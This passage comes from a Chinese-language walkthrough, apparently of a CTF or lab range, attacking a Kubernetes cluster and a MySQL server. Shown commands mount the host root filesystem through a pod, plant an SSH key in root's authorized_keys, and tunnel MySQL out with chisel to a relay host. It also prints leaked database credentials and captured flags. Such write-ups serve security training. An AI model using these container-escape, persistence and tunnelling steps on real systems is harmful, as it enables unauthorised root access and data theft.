Finished: Fri, 16 Aug 2024 13:56:04 +0800
Ready: True
Restart Count: 3
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from default-token-zqldf (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
default-token-zqldf:
Type: Secret (a volume populated by a Secret)
SecretName: default-token-zqldf
Optional: false
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
于是，可以尝试编写一个 pod，将宿主机的根目录映射进去之后，指定 ssh 私钥并连接，即可对宿主机实现 getshell
┌──(randark ㉿ kali)-[~/tmp]
└─$ cat test.yaml
apiVersion: v1
kind: Pod
metadata:
name: nginx-deployment
spec:
containers:
- image: nginx:1.8
name: container
volumeMounts:
- mountPath: /mnt
name: test
volumes:
- name: test
hostPath:
path: /
┌──(randark ㉿ kali)-[~/tmp]
└─$ ./kubectl --insecure-skip-tls-verify -s https://139.*.*.*:10003/ apply -f test.yaml
-bash: ./kubectl: No such file or directory
┌──(randark ㉿ kali)-[~/tmp]
└─$ ~/tools/kubectl --insecure-skip-tls-verify -s https://139.*.*.*:10003/ apply -f test.yaml
Please enter Username: a
Please enter Password:
pod/nginx-deployment created
┌──(randark ㉿ kali)-[~/tmp]
└─$ ~/tools/kubectl --insecure-skip-tls-verify -s https://139.*.*.*:10003/ get pods
Please enter Username: a
Please enter Password:
NAME READY STATUS RESTARTS AGE
nginx-deployment 1/1 Running 0 7s
nginx-deployment-58d48b746d-d6x8t 1/1 Running 3 314d
nginx-deployment-58d48b746d-pg4gl 1/1 Running 3 314d
nginx-deployment-58d48b746d-s2vwl 1/1 Running 3 314d
nginx-deployment-58d48b746d-x26mr 1/1 Running 3 314d
pod 成功部署之后，就可以开始写入 SSH 私钥
┌──(randark ㉿ kali)-[~/tmp]
└─$ ~/tools/kubectl --insecure-skip-tls-verify -s https://139.*.*.*:10003/ exec -it nginx-deployment -- /bin/bash
Please enter Username: a
Please enter Password:
root@nginx-deployment-1:/# whoami
root
root@nginx-deployment-1:/# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvIVUtOgQh3gYfAXyDcjh3hrXoqyNsV5EKH+LWRDTupdISFx64HX+QG/pvM0fTF9RnAwbZEVL7MzO1bHw+9yLeAHjLgxXQP+e3cHkhnX/5Qkt+6TF3woTI/3zFt/E1sArvs5bRyR028huFN5kyjwPBnedrbgM+gHI2XcYj/Rih53EwpaUIF5AW0RzWuHzvwz385FOZ5M1uplTORyjI3M0YmXQkZhn9b/43SH7SiwzAOXdincKYD0k9J7kmtQlqcY3/gWeUXLZVvj3N5rxg2Q9NSFq0ISSR1DR8baymN+877cuAXufTdDhlbaU8qX1ZNYRC2Pbc4qGlwvB0wfsfT32yJyo82YEFVkOd+z1Nj1GmgSro91EaPFckCVckAgslwc8e6JXTq598yzWck2fiSR9HJ1BQ60Dfog+wSBGozJUDmn+T39OaQKrlADEI6belRTrEdDVriMXia4lHtdT/mdtSHAjvWswy4CfX55fNH5PUKVlt5Q8s6qS3+/ZZuNkBGZU= randark@kali" > /mnt/root/.ssh/authorized_keys
root@nginx-deployment-1:/# exit
exit
然后就可以尝试连接宿主机了
┌──(randark ㉿ kali)-[~/tmp]
└─$ proxychains4 -q ssh -i id_rsa root@172.22.14.37
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-213-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Welcome to Alibaba Cloud Elastic Compute Service !
Last login: Fri Aug 16 16:37:43 2024 from 172.22.14.6
root@ubuntu-k8s:~# whoami
root
172.22.14.37 Mysql 历史记录
发现 /root 目录下存在有 .mysql_history 文件，查看 mysql 历史记录
_HiStOrY_V2_
show\040databases;
create\040database\040flaghaha;
use\040flaghaha
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag06`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag06`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
show\040tables;
drop\040table\040flag06;
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag04`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag04`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
INSERT\040INTO\040`flag`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT\040INTO\040`flag04`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit
可读性较差，使用 echo 提升可读性
echo -ne $(cat .mysql_history)
_HiStOrY_V2_
show databases;create database flaghaha;
use flaghaha DROP TABLE IF EXISTS `f1ag`;
CREATE TABLE `flag06` (`id` int DEFAULT NULL, `f1agggggishere` varchar(255) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
CREATE TABLE `flag06` (`id` int DEFAULT NULL, `f1agggggishere` varchar(255) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
show tables;
drop table flag06;
DROP TABLE IF EXISTS `f1ag`;
CREATE TABLE `flag04` (`id` int DEFAULT NULL, `f1agggggishere` varchar(255) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
CREATE TABLE `flag04` (`id` int DEFAULT NULL, `f1agggggishere` varchar(255) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `flag` VALUES (1, 'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT INTO `flag04` VALUES (1, 'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit
flag - 04
flag{da69c459-7fe5-4535-b8d1-15fff496a29f}
172.22.14.37 Mysql UDF 提权
在 Harbor 中，有 project/projectadmin 这个镜像，同样的方法获取下来进行分析，在其中的 jar 包中可以得到以下信息
spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
然后就可以尝试攻击 172.22.10.28:3306 这个 Mysql 服务
首先，先将 Mysql 服务转发出来
172.22.14.6
(remote) www-data@ubuntu-oa:/tmp$ ./chisel_1.9.1_linux_amd64 client 172.28.23.17:1337 R:0.0.0.0:10004:172.22.10.28:3306
2024/08/16 16:25:08 client: Connecting to ws://172.28.23.17:1337
2024/08/16 16:25:08 server: session#16: tun: proxy#R:10003=>172.22.14.37:6443: Listening
2024/08/16 16:25:08 client: Connected (Latency 48.219025ms)
然后使用 SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools 进行利用
成功连接
执行 UDF 提权即可
